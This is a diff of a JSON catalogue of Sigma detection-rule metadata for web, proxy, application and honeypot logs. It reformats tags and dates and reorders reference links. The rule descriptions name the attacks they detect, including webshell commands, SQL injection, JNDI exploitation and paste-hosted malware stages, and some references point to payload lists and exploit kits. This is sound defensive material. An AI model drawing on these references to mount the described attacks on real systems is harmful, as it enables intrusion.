"tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190", - "attack.credential_access", + "attack.credential-access", "attack.t1110" ] }, @@ -82805,7 +82911,7 @@ "description": "Detects a potentially suspicious empty user agent strings in proxy log.\nCould potentially indicate an uncommon request method.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/07/08", + "creation_date": "2017-07-08", "falsepositive": [ "Unknown" ], @@ -82818,8 +82924,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_empty.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82839,7 +82945,7 @@ "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/04/15", + "creation_date": "2020-04-15", "falsepositive": [ "Unknown" ], @@ -82852,7 +82958,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_pwndrop.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001", "attack.t1102.001", "attack.t1102.003" @@ -82888,7 +82994,7 @@ "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/12/05", + "creation_date": "2019-12-05", "falsepositive": [ "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" ], @@ -82901,11 +83007,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_raw_paste_service_access.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001", "attack.t1102.001", "attack.t1102.003", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -82938,7 +83044,7 @@ "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/06/05", + "creation_date": "2018-06-05", "falsepositive": [ "Legitimate use of Telegram bots in the company" ], @@ -82948,13 +83054,13 @@ "logsource.product": "No established product", "refs": [ "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_telegram_api.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1071.001", "attack.t1102.002" ] @@ -82982,7 +83088,7 @@ "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/31", + "creation_date": "2021-05-31", "falsepositive": [ "Serious issues with a configuration or plugin" ], @@ -83016,7 +83122,7 @@ "description": "Detects an issue in apache logs that reports threading related errors", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/01/22", + "creation_date": "2019-01-22", "falsepositive": [ "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" ], @@ -83029,8 +83135,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/product/apache/web_apache_threading_error.yml" ], "tags": [ - "attack.initial_access", - "attack.lateral_movement", + "attack.initial-access", + "attack.lateral-movement", "attack.t1190", "attack.t1210" ] @@ -83058,7 +83164,7 @@ "description": "Detects a segmentation fault error message caused by a crashing apache worker process", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/02/28", + "creation_date": "2017-02-28", "falsepositive": [ "Unknown" ], @@ -83091,7 +83197,7 @@ "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", "meta": { "author": "James Ahearn", - "creation_date": "2019/06/08", + "creation_date": "2019-06-08", "falsepositive": [ "Unknown" ], @@ -83100,8 +83206,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", + "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_source_code_enumeration.yml" ], "tags": [ @@ -83125,7 +83231,7 @@ "description": "Detects possible Java payloads in web access logs", "meta": { "author": "frack113, Harjot Singh, \"@cyb3rjy0t\" (update)", - "creation_date": "2022/06/04", + "creation_date": "2022-06-04", "falsepositive": [ "Legitimate apps" ], @@ -83134,17 +83240,17 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ + "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", + "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", "https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035", - "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", "https://twitter.com/httpvoid0x2f/status/1532924261035384832", - "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_java_payload_in_access_logs.yml" ], "tags": [ - "cve.2022.26134", - "cve.2021.26084", - "attack.initial_access", + "cve.2022-26134", + "cve.2021-26084", + "attack.initial-access", "attack.t1190" ] }, @@ -83164,7 +83270,7 @@ "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", "meta": { "author": "Cian Heasley", - "creation_date": "2020/08/04", + "creation_date": "2020-08-04", "falsepositive": [ "Web applications that use the same URL parameters as ReGeorg" ], @@ -83198,7 +83304,7 @@ "description": "Detects exploitation attempt using the JNDI-Exploit-Kit", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/12", + "creation_date": "2021-12-12", "falsepositive": [ "Legitimate apps the use these paths" ], @@ -83207,12 +83313,12 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://githubmemory.com/repo/FunctFan/JNDIExploit", + "https://web.archive.org/web/20231015205935/https://githubmemory.com/repo/FunctFan/JNDIExploit", "https://github.com/pimps/JNDI-Exploit-Kit", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_jndi_exploit.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83232,7 +83338,7 @@ "description": "Detects XSS attempts injected via GET requests in access logs", "meta": { "author": "Saw Win Naung, Nasreddine Bencherchali", - "creation_date": "2021/08/15", + "creation_date": "2021-08-15", "falsepositive": [ "JavaScripts,CSS Files and PNG files", "User searches in search boxes of the respective website", @@ -83248,7 +83354,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_xss_in_access_logs.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1189" ] }, @@ -83268,7 +83374,7 @@ "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Tim Shelton", - "creation_date": "2022/07/19", + "creation_date": "2022-07-19", "falsepositive": [ "Unknown" ], @@ -83278,12 +83384,12 @@ "logsource.product": "No established product", "refs": [ "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", - "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", + "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_useragents.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83303,7 +83409,7 @@ "description": "Detects SSTI attempts sent via GET requests in access logs", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/14", + "creation_date": "2022-06-14", "falsepositive": [ "User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" @@ -83313,12 +83419,12 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/payloadbox/ssti-payloads", "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", + "https://github.com/payloadbox/ssti-payloads", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_ssti_in_access_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1221" ] }, @@ -83338,7 +83444,7 @@ "description": "Detects POST requests to the F5 BIG-IP iControl Rest API \"bash\" endpoint, which allows the execution of commands on the BIG-IP", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Thurein Oo", - "creation_date": "2023/11/08", + "creation_date": "2023-11-08", "falsepositive": [ "Legitimate usage of the BIG IP REST API to execute command for administration purposes" ], @@ -83373,7 +83479,7 @@ "description": "Detects common commands used in Windows webshells", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2017/02/19", + "creation_date": "2017-02-19", "falsepositive": [ "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", "User searches in search boxes of the respective website" @@ -83383,8 +83489,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://bad-jubies.github.io/RCE-NOW-WHAT/", "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://bad-jubies.github.io/RCE-NOW-WHAT/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_win_webshells_in_access_logs.yml" ], "tags": [ @@ -83408,7 +83514,7 @@ "description": "Detects potential SQL injection attempts via GET requests in access logs.", "meta": { "author": "Saw Win Naung, Nasreddine Bencherchali (Nextron Systems), Thurein Oo (Yoma Bank)", - "creation_date": "2020/02/22", + "creation_date": "2020-02-22", "falsepositive": [ "Java scripts and CSS Files", "User searches in search boxes of the respective website", @@ -83419,15 +83525,15 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/payloadbox/sql-injection-payload-list", - "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", - "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", "https://brightsec.com/blog/sql-injection-payloads/", + "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", "https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection", + "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", + "https://github.com/payloadbox/sql-injection-payload-list", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_sql_injection_in_access_logs.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83447,7 +83553,7 @@ "description": "Detects path traversal exploitation attempts", "meta": { "author": "Subhash Popuri (@pbssubhash), Florian Roth (Nextron Systems), Thurein Oo, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/09/25", + "creation_date": "2021-09-25", "falsepositive": [ "Expected to be continuously seen on systems exposed to the Internet", "Internal vulnerability scanners" @@ -83457,12 +83563,12 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/projectdiscovery/nuclei-templates", "https://book.hacktricks.xyz/pentesting-web/file-inclusion", + "https://github.com/projectdiscovery/nuclei-templates", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_path_traversal_exploitation_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83482,7 +83588,7 @@ "description": "Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/06", + "creation_date": "2022-06-06", "falsepositive": [ "Legitimate application and websites that use windows paths in their URL" ], @@ -83516,7 +83622,7 @@ "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", "meta": { "author": "frack113", - "creation_date": "2021/10/06", + "creation_date": "2021-10-06", "falsepositive": [ "Unknown" ], @@ -83525,13 +83631,13 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.exploit-db.com/exploits/19525", - "https://github.com/lijiejie/IIS_shortname_Scanner", "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", + "https://github.com/lijiejie/IIS_shortname_Scanner", + "https://www.exploit-db.com/exploits/19525", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_iis_tilt_shortname_scan.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83551,7 +83657,7 @@ "description": "Generic rule for SQL exceptions in Python according to PEP 249", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/08/12", + "creation_date": "2017-08-12", "falsepositive": [ "Application bugs" ], @@ -83564,7 +83670,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83584,7 +83690,7 @@ "description": "Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Application bugs" ], @@ -83593,12 +83699,12 @@ "logsource.category": "application", "logsource.product": "jvm", "refs": [ - "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", "https://secariolabs.com/research/analysing-and-reproducing-poc-for-log4j-2-15-0", + "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_jndi_injection_exploitation_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83618,7 +83724,7 @@ "description": "Detects process execution related exceptions in JVM based apps, often relates to RCE", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Application bugs" ], @@ -83631,7 +83737,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_rce_exploitation_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83651,7 +83757,7 @@ "description": "Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "If the application expects to work with XML there may be parsing issues that don't necessarily mean XXE." ], @@ -83660,13 +83766,13 @@ "logsource.category": "application", "logsource.product": "jvm", "refs": [ + "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://rules.sonarsource.com/java/RSPEC-2755", "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", - "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_xxe_exploitation_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83686,7 +83792,7 @@ "description": "Detects potential local file read vulnerability in JVM based apps.\nIf the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.\n", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Application bugs" ], @@ -83699,7 +83805,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_local_file_read.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83719,7 +83825,7 @@ "description": "Detects potential OGNL Injection exploitation, which may lead to RCE.\nOGNL is an expression language that is supported in many JVM based systems.\nOGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)\n", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Application bugs" ], @@ -83732,10 +83838,10 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/jvm/java_ognl_injection_exploitation_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190", - "cve.2017.5638", - "cve.2022.26134" + "cve.2017-5638", + "cve.2022-26134" ] }, "related": [ @@ -83754,7 +83860,7 @@ "description": "Detects potential SpEL Injection exploitation, which may lead to RCE.", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Application bugs" ], @@ -83763,12 +83869,12 @@ "logsource.category": "application", "logsource.product": "spring", "refs": [ - "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", "https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection", + "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/spring_spel_injection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83788,7 +83894,7 @@ "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/08/06", + "creation_date": "2017-08-06", "falsepositive": [ "Application bugs" ], @@ -83801,7 +83907,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/spring_application_exceptions.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83821,7 +83927,7 @@ "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/08/06", + "creation_date": "2017-08-06", "falsepositive": [ "Application bugs" ], @@ -83830,14 +83936,14 @@ "logsource.category": "application", "logsource.product": "ruby_on_rails", "refs": [ - "http://guides.rubyonrails.org/action_controller_overview.html", + "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", "http://edgeguides.rubyonrails.org/security.html", + "http://guides.rubyonrails.org/action_controller_overview.html", "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", - "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83857,7 +83963,7 @@ "description": "Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Application bugs", "Missing .vm files" @@ -83872,7 +83978,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/velocity/velocity_ssti_injection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83892,7 +83998,7 @@ "description": "Detects SQL error messages that indicate probing for an injection attack", "meta": { "author": "Bjoern Kimminich", - "creation_date": "2017/11/27", + "creation_date": "2017-11-27", "falsepositive": [ "A syntax error in MySQL also occurs in non-dynamic (safe) queries if there is an empty in() clause, that may often be the case." ], @@ -83905,7 +84011,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83925,7 +84031,7 @@ "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/08/05", + "creation_date": "2017-08-05", "falsepositive": [ "Application bugs" ], @@ -83939,7 +84045,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83959,7 +84065,7 @@ "description": "Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.", "meta": { "author": "Moti Harmats", - "creation_date": "2023/02/11", + "creation_date": "2023-02-11", "falsepositive": [ "Puppeteer invocation exceptions often contain child_process related errors, that doesn't necessarily mean that the app is vulnerable." ], @@ -83972,7 +84078,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/application/nodejs/nodejs_rce_exploitation_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -83992,7 +84098,7 @@ "description": "Detects instances where an SMB service on an OpenCanary node has had a file open request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84001,12 +84107,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_smb_file_open.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.collection", "attack.t1021", "attack.t1005" @@ -84035,7 +84141,7 @@ "description": "Detects instances where a VNC service on an OpenCanary node has had a connection attempt.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84044,12 +84150,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_vnc_connection_attempt.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021" ] }, @@ -84069,7 +84175,7 @@ "description": "Detects instances where an SSH service on an OpenCanary node has had a connection attempt.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84078,13 +84184,13 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ssh_new_connection.yml" ], "tags": [ - "attack.initial_access", - "attack.lateral_movement", + "attack.initial-access", + "attack.lateral-movement", "attack.persistence", "attack.t1133", "attack.t1021", @@ -84121,7 +84227,7 @@ "description": "Detects instances where a TFTP service on an OpenCanary node has had a request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84130,8 +84236,8 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_tftp_request.yml" ], "tags": [ @@ -84155,7 +84261,7 @@ "description": "Detects instances where an FTP service on an OpenCanary node has had a login attempt.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84164,12 +84270,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_ftp_login_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.exfiltration", "attack.t1190", "attack.t1021" @@ -84198,7 +84304,7 @@ "description": "Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.\n", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84207,13 +84313,13 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_httpproxy_login_attempt.yml" ], "tags": [ - "attack.initial_access", - "attack.defense_evasion", + "attack.initial-access", + "attack.defense-evasion", "attack.t1090" ] }, @@ -84233,7 +84339,7 @@ "description": "Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.\n", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84242,12 +84348,12 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_http_post_login_attempt.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -84267,7 +84373,7 @@ "description": "Detects instances where a GIT service on an OpenCanary node has had Git Clone request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84276,8 +84382,8 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_git_clone_request.yml" ], "tags": [ @@ -84301,7 +84407,7 @@ "description": "Detects instances where an SNMP service on an OpenCanary node has had an OID request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84310,13 +84416,13 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_snmp_cmd.yml" ], "tags": [ "attack.discovery", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1016", "attack.t1021" ] @@ -84344,7 +84450,7 @@ "description": "Detects instances where an SIP service on an OpenCanary node has had a SIP request.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84353,8 +84459,8 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/opencanary/opencanary_sip_request.yml" ], "tags": [ @@ -84378,7 +84484,7 @@ "description": "Detects instances where an SSH service on an OpenCanary node has had a login attempt.", "meta": { "author": "Security Onion Solutions", - "creation_date": "2024/03/08", + "creation_date": "2024-03-08", "falsepositive": [ "Unlikely" ], @@ -84387,13 +84493,13 @@ "logsource.category": "application", "logsource.product": "opencanary", "refs": [ - "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", "https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52", + "https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration", 